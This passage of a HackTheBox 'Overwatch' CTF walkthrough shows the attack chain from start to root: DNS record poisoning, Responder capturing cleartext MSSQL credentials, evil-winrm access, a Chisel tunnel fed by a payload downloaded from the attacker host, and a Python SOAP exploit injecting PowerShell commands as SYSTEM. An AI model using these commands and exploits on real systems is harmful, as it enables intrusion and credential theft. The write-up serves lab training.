    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]

[+] Current Session Variables:
    Responder Machine Name     [WIN-MAHLJGKRWOG]
    Responder Domain Name      [CCYX.LOCAL]
    Responder DCE-RPC Port     [49799]

[*] Version: Responder 3.2.2.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>

[+] Listening for events...

[!] Error starting TCP server on port 80, check permissions or other servers running.
[!] Error starting TCP server on port 3389, check permissions or other servers running.
[!] Error starting TCP server on port 53, check permissions or other servers running.
[MSSQL] Received connection from 10.129.52.87
[MSSQL] Cleartext Client   : 10.129.52.87
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx
```

After triggering the linked server request again, Responder captured MSSQL authentication credentials.

```
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx
```

We successfully recovered the following credentials:

```
Username: sqlmgmt
Password: bIhBbzMMnB82yx
```

Using these credentials, we authenticated to the target over WinRM with Evil-WinRM.

```
alhamrizvi@alhams-fedora:~/overwatch$ evil-winrm -i 10.129.52.87 -u sqlmgmt -p 'bIhBbzMMnB82yx'
/usr/local/share/gems/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems
/usr/local/share/gems/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> cd C:\Users\sqlmgmt\Desktop

*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> 
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> touch user.txt
The term 'touch' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ touch user.txt
+ ~~~~~
    + CategoryInfo          : ObjectNotFound: (touch:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> type user.txt
REDACTED 

```

#### Why we did that?

Basically after gaining the initial `sqlsvc` credentials from the `.NET` binary, we authenticated to the MSSQL server using `mssqlclient.py`. While enumerating the SQL server, we discovered a linked server named `SQL07`.

When we tried querying the linked server using:

```
EXEC ('SELECT @@version') AT SQL07;
```

the connection failed because the server attempted to resolve the hostname `SQL07` over the network.

At this point, we abused Active Directory DNS using `dnstool.py` and modified the DNS record for `SQL07` so that it pointed to our attacker machine (`10.10.15.1`).

```
python3 dnstool.py -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' --action add --record SQL07 --data 10.10.15.1 --type A 10.129.52.87
```

This meant whenever the SQL server tried connecting to `SQL07`, it would actually connect to us instead.

To capture the incoming authentication attempt, we started `Responder`.

```
sudo responder -I tun0 -v
```

Responder acts as a fake service listener and captures authentication requests sent by Windows systems. When the SQL server attempted authenticating to our fake `SQL07` server, Responder intercepted the MSSQL authentication and disclosed cleartext credentials for another user.

```
Username: sqlmgmt
Password: bIhBbzMMnB82yx
```

#### Privelege Escalation

we tried a lot of shit,

```
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> whoami /all
net localgroup administrators
net user

USER INFORMATION
----------------

User Name         SID
================= =============================================
overwatch\sqlmgmt S-1-5-21-2797066498-1365161904-233915892-1105


GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.


User accounts for \\

-------------------------------------------------------------------------------
Aaron.Robinson           Abdul.Stevens            Adam.Russell
Administrator            Aimee.Smith              Albert.Barrett
Amanda.Jenkins           Angela.Jones             Ann.Hill
Benjamin.Davison         Benjamin.Harrison        Bernard.Hilton
Bernard.Wood             Bethan.Dale              Bethan.Rogers
Beverley.Thompson        Brett.Bailey             Brett.Haynes
Carl.Johnson             Carole.Murray            Carole.Yates
Catherine.Griffiths      Charlie.Moss             Chloe.Cox
Clare.Bartlett           Colin.Roberts            Damien.Edwards
Danielle.Moore           Dean.Hobbs               Deborah.Martin
Deborah.Morgan           Debra.Arnold             Declan.Stone
Douglas.Burrows          Duncan.Freeman           Eileen.Phillips
Elaine.Page              Elaine.Walker            Ellie.Singh
Elliot.Green             Emily.Cooper             Francis.Weston
Frank.McCarthy           Frederick.Hussain        Frederick.Murray
Gail.Sullivan            Gareth.Ahmed             Gary.Elliott
George.Todd              Georgina.Chambers        Geraldine.Harper
Glenn.Field              Grace.Curtis             Grace.Taylor
Graham.Parker            Graham.Perry             Guest
Irene.Johnson            Jacob.Wilson             Jacqueline.Norton
Jamie.Gough              Jenna.Phillips           Jeremy.Marshall
Jodie.Jones              Joe.Pearce               John.Begum
Karl.Smith               Kathryn.Bryan            Kayleigh.Jones
Kenneth.Dennis           Kevin.Newton             Kim.Hargreaves
krbtgt                   Louise.Walton            Mandy.Wood
Marie.Allan              Marilyn.Griffiths        Martin.Kemp
Maureen.Kirby            Michelle.Willis          Mohammad.Hill
Natalie.Higgins          Olivia.Quinn             Patrick.Holmes
Paul.Collins             Peter.Slater             Philip.Harris
Rachael.Thomas           Roger.Hughes             Roger.Spencer
Samantha.Scott           Shaun.Jackson            sqlmgmt
sqlsvc                   Suzanne.Hughes           Terence.Matthews
Thomas.Lee               Timothy.Jackson          Timothy.Smith
Tracey.Barker            Tracey.Kelly             Tracy.Burns
Trevor.Baker             Victor.Hopkins           Wendy.Williams
The command completed with one or more errors.


```

While reviewing the downloaded configuration file, we discovered that the application was exposing a WCF SOAP service over HTTP.

We inspected the configuration using:

```
 alhamrizvi@alhams-fedora:~/overwatch$ cat overwatch.exe.config
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <configSections>
    <!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->
    <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
  </configSections>
  <system.serviceModel>
    <services>
      <service name="MonitoringService">
        <host>
          <baseAddresses>
            <add baseAddress="http://overwatch.htb:8000/MonitorService" />
          </baseAddresses>
        </host>
        <endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
        <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
      </service>
    </services>
    <behaviors>
      <serviceBehaviors>
        <behavior>
          <serviceMetadata httpGetEnabled="True" />
          <serviceDebug includeExceptionDetailInFaults="True" />
        </behavior>
      </serviceBehaviors>
    </behaviors>
  </system.serviceModel>
  <entityFramework>
    <providers>
      <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
      <provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
    </providers>
  </entityFramework>
  <system.data>
    <DbProviderFactories>
      <remove invariant="System.Data.SQLite.EF6" />
      <add name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6" />
    <remove invariant="System.Data.SQLite" /><add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".NET Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite" /></DbProviderFactories>
  </system.data>
</configuration>
```

Inside the configuration, the following service definition was present.

```
<baseAddresses>
    <add baseAddress="http://overwatch.htb:8000/MonitorService" />
</baseAddresses>
```

This revealed that the application hosted a web service at:

```
http://overwatch.htb:8000/MonitorService
```

The configuration also exposed metadata exchange functionality through the `mex` endpoint.

```
<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
```

Additionally, the service had debugging enabled.

```
<serviceDebug includeExceptionDetailInFaults="True" />
```

This setting causes detailed exception messages to be returned by the application, which can often leak sensitive information during exploitation.

The configuration directly matched the functionality we previously observed while reversing the `.NET` binary, where the application exposed methods such as:

```
StartMonitoring()
StopMonitoring()
KillProcess()
```

After identifying the service endpoint inside the configuration, we manually queried the WSDL definition from the target using PowerShell.

```
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> Invoke-WebRequest -Uri "http://overwatch.htb:8000/MonitorService?wsdl" -UseBasicParsing


StatusCode        : 200
StatusDescription : OK
Content           : <?xml version="1.0" encoding="utf-8"?><wsdl:definitions name="MonitoringService" targetNamespace="http://tempuri.org/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:wsx="http://schemas.xmlsoap.o...
RawContent        : HTTP/1.1 200 OK
                    Content-Length: 4478
                    Content-Type: text/xml; charset=UTF-8
                    Date: Thu, 07 May 2026 19:38:06 GMT
                    Server: Microsoft-HTTPAPI/2.0

                    <?xml version="1.0" encoding="utf-8"?><wsdl:definiti...
Forms             :
Headers           : {[Content-Length, 4478], [Content-Type, text/xml; charset=UTF-8], [Date, Thu, 07 May 2026 19:38:06 GMT], [Server, Microsoft-HTTPAPI/2.0]}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        :
RawContentLength  : 4478


```

The server returned a valid WSDL response, confirming that the SOAP monitoring service was active and accessible internally.

Since the monitoring service was only accessible internally on port `8000`, we created a reverse tunnel using Chisel in order to access the service locally from our attacker machine.

First, we downloaded the Windows Chisel binary and hosted it using Python’s HTTP server.

```
wget https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_windows_amd64.gz
```

```
alhamrizvi@alhams-fedora:~/overwatch$ # Download windows chisel binary
wget https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_windows_amd64.gz
gunzip chisel_1.10.0_windows_amd64.gz
mv chisel_1.10.0_windows_amd64 chisel.exe
python3 -m http.server 8080
HTTP response 302  [https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_windows_amd64.gz]
Enqueue https://release-assets.githubusercontent.com/github-production-release-asset/31311037/40ffebab-8551-4226-9bfe-4f1310cacce9?sp=r&sv=2018-11-09&sr=b&spr=https&se=2026-05-07T20%3A42%3A13Z&Saving 'chisel_1.10.0_windows_amd64.gz'
HTTP response 200  [https://release-assets.githubusercontent.com/github-production-release-asset/31311037/40ffebab-8551-4226-9bfe-4f1310cacce9?sp=r&sv=2018-11-09&sr=b&spr=https&se=2026-05-07T20chisel_1.10.0_window 100% [==============================================================================================================================================>]    3.67M  768.05KB/skt=2026-05-07T19%3A41%3A35Z[Files: 1  Bytes: 3.67M [605.72KB/s] Redirects: 1  Todo: 0  Errors: 0                                                                           ]Jpc3MiOiJnaXRodWIuY29tServing HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...Iiwia2V5Ijoia2V5MSIsImV4cCI6MTc3ODE4MzM2MiwibmJmIjoxNzc4MTgzMDYyLCJwYXRoIjoicmVsZWFzZWFzc2V0cHJvZHVjdGlvbi5ibG9iLmNvcmUud2luZG93cy5uZ10.129.52.87 - - [08/May/2026 01:14:57] "GET /chisel.exe HTTP/1.1" 200 -sition=attachment%3B%20filename%3Dchisel_1.10.0_windows_amd64.gz&response-content-type=application%2Foctet-stream]
```

Here:

* `wget` downloads the Windows Chisel binary
* `gunzip` extracts the compressed file
* `mv` renames the binary to `chisel.exe`
* `python3 -m http.server 8080` hosts the current directory over HTTP on port `8080`

Next, we started a Chisel reverse tunneling server on our attacker machine.

```
./chisel server -p 9001 --reverse
```

Here:

* `server` starts Chisel in server mode
* `-p 9001` listens on port `9001`
* `--reverse` enables reverse tunneling support

The server started successfully.

```
alhamrizvi@alhams-fedora:~/overwatch$ chmod +x chisel
alhamrizvi@alhams-fedora:~/overwatch$ cd ~/overwatch
./chisel server -p 9001 --reverse
2026/05/08 01:13:54 server: Reverse tunnelling enabled
2026/05/08 01:13:54 server: Fingerprint 6mS6BCRQU5iaIpvo5inwXWoqaN2fgqLf+nR+cas7IG8=
2026/05/08 01:13:54 server: Listening on http://0.0.0.0:9001
2026/05/08 01:16:04 server: session#1: tun: proxy#R:8000=>8000: Listening


```

From the compromised Windows host, we downloaded the Chisel binary using PowerShell.

```

*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> Invoke-WebRequest -Uri "http://10.10.15.1:8080/chisel.exe" -OutFile "C:\Users\sqlmgmt\Documents\chisel.exe"

C:\Users\sqlmgmt\Documents\chisel.exe client 10.10.15.1:9001 R:8000:127.0.0.1:8000
chisel.exe : 2026/05/07 12:45:51 client: Connecting to ws://10.10.15.1:9001
    + CategoryInfo          : NotSpecified: (2026/05/07 12:4...10.10.15.1:9001:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
2026/05/07 12:45:54 client: Connected (Latency 609.9068ms)/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
```

Here:

* `-Uri` specifies the remote file location
* `-OutFile` saves the binary locally on the target machine

After downloading the binary, we started the Chisel client on the Windows host.

```
C:\Users\sqlmgmt\Documents\chisel.exe client 10.10.15.1:9001 R:8000:127.0.0.1:8000
```

Here:

* `client` starts Chisel in client mode
* `10.10.15.1:9001` is the attacker server
* `R:8000:127.0.0.1:8000` creates a reverse tunnel from our machine's port `8000` to the target's local port `8000`

The client connected successfully.

```
client: Connected
```

On the attacker machine, the Chisel server showed that the reverse tunnel was active.

```
proxy#R:8000=>8000: Listening
```

<figure><img src="https://cdn-images-1.medium.com/max/800/1*gTT0SZpG-NYMjVdHMdaELg.png" alt=""><figcaption></figcaption></figure>

**Exploitation script for Root Flag**

After forwarding the internal service locally using Chisel, we created a custom exploit to interact directly with the SOAP API exposed by the monitoring application.

The exploit targeted the `KillProcess()` function that we previously identified while reversing the `.NET` binary.

```
import requests
import sys
```

```
TARGET = "http://127.0.0.1:8000/MonitorService"
```

```
def soap_request(process_name):
    body = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:tns="http://tempuri.org/">
  <soap:Body>
    <tns:KillProcess>
      <tns:processName>{process_name}</tns:processName>
    </tns:KillProcess>
  </soap:Body>
</soap:Envelope>"""
```

```
    headers = {
        "Content-Type": "text/xml; charset=utf-8",
        "SOAPAction": "http://tempuri.org/IMonitoringService/KillProcess"
    }
```

```
    r = requests.post(TARGET, data=body, headers=headers, timeout=10)
    print(f"[*] Response:\n{r.text}\n")
```

```
cmd = sys.argv[1] if len(sys.argv) > 1 else "whoami"
```

```
soap_request(f"x -ErrorAction Ignore; {cmd}; #")
```

The script sends a crafted SOAP request directly to the vulnerable `KillProcess()` endpoint.

The target URL was:

```
TARGET = "http://127.0.0.1:8000/MonitorService"
```

Because of the Chisel reverse tunnel, local port `8000` on our attacker machine was forwarded to the internal service running on the Windows target.

Inside the exploit, the SOAP XML body manually invokes the vulnerable `KillProcess` method.

```
<tns:KillProcess>
  <tns:processName>{process_name}</tns:processName>
</tns:KillProcess>
```

The request is then sent using Python’s `requests.post()` function.

```
r = requests.post(TARGET, data=body, headers=headers, timeout=10)
```

The most important part of the exploit was the payload injection.

```
soap_request(f"x -ErrorAction Ignore; {cmd}; #")
```

Earlier during reverse engineering, we identified that the service internally executed PowerShell commands similar to:

```
Stop-Process -Name <USER_INPUT> -Force
```

The application directly embedded user supplied input into a PowerShell command without sanitization, making it vulnerable to command injection.

The payload abused PowerShell command separators using semicolons.

```
x -ErrorAction Ignore; <COMMAND>; #
```

Breaking this down:

* `x` acts as a fake process name
* `-ErrorAction Ignore` suppresses errors if the process does not exist
* `;` terminates the original command
* `<COMMAND>` executes arbitrary attacker controlled PowerShell commands
* `#` comments out the remaining `-Force` argument appended by the application

As a result, the final PowerShell command executed by the server became:

```
Stop-Process -Name x -ErrorAction Ignore; whoami; # -Force
```

This successfully transformed the intended process termination functionality into arbitrary command execution on the target system.

#### Root.txt

```
alhamrizvi@alhams-fedora:~/overwatch$ python3 exploit.py
[*] Response:
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><KillProcessResponse xmlns="http://tempuri.org/"><KillProcessResult>nt authority\system&#xD;
&#xD;
</KillProcessResult></KillProcessResponse></s:Body></s:Envelope>

alhamrizvi@alhams-fedora:~/overwatch$ python3 exploit.py "type C:\\Users\\Administrator\\Desktop\\root.txt"
[*] Response:
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><KillProcessResponse xmlns="http://tempuri.org/"><KillProcessResult>fa3a9c43c1663c72ce8e35af36cb614a&#xD;
&#xD;
</KillProcessResult></KillProcessResponse></s:Body></s:Envelope>


```

After creating the SOAP exploit, we first executed it without arguments in order to verify command execution.

```
python3 exploit.py
```

The application returned the following response.

```
<KillProcessResult>nt authority\system</KillProcessResult>
```

This confirmed that our injected PowerShell command was executed successfully by the service as:

```
NT AUTHORITY\SYSTEM
```

This was extremely important because it showed that the vulnerable monitoring service was running with SYSTEM privileges, meaning every injected command would execute with full administrative access on the machine.

Next, we modified the payload in order to read the Administrator flag directly from the filesystem.

```
python3 exploit.py "type C:\\Users\\Administrator\\Desktop\\root.txt"
```

Here:

* `type` is the Windows equivalent of `cat`
* `C:\\Users\\Administrator\\Desktop\\root.txt` points to the administrator flag file
* Double backslashes were used because Python interprets `\` as escape characters

The server responded with the contents of the file.

```
<KillProcessResult>REDACTED</KillProcessResult>
```

here’s our flag!

this took 3.5 hours lol, definitely a challenging machine. here’s a quick summary before we sleep and bye

**Box complete! Full attack chain:**

**SMB enumeration** → found `software$` share → downloaded `overwatch.exe`

**Decompiled .NET assembly** → discovered SQL credentials:\
`sqlsvc:TI0LKcfHzZw1Vv`\
and MSSQL running on non-standard port `6520`

**Connected to MSSQL** → discovered linked server `SQL07` with self-mapping enabled

**ADIDNS poisoning** → redirected `SQL07` to attacker machine → Responder captured cleartext credentials:\
`sqlmgmt:bIhBbzMMnB82yx`

**evil-winrm** shell as `sqlmgmt` → obtained user flag

**Chisel reverse tunnel** → forwarded internal WCF service running on port `8000`

**SOAP injection** through `KillProcess()` → PowerShell command injection as `nt authority\system` → obtained root flag

Really fun machine honestly, chaining ADIDNS poisoning, MSSQL linked servers, WCF SOAP abuse, and PowerShell injection together was pretty satisfying.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/htbwriteups/overwatch-htb-hackthebox-walkthrough-or-by-alham-rizvi.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
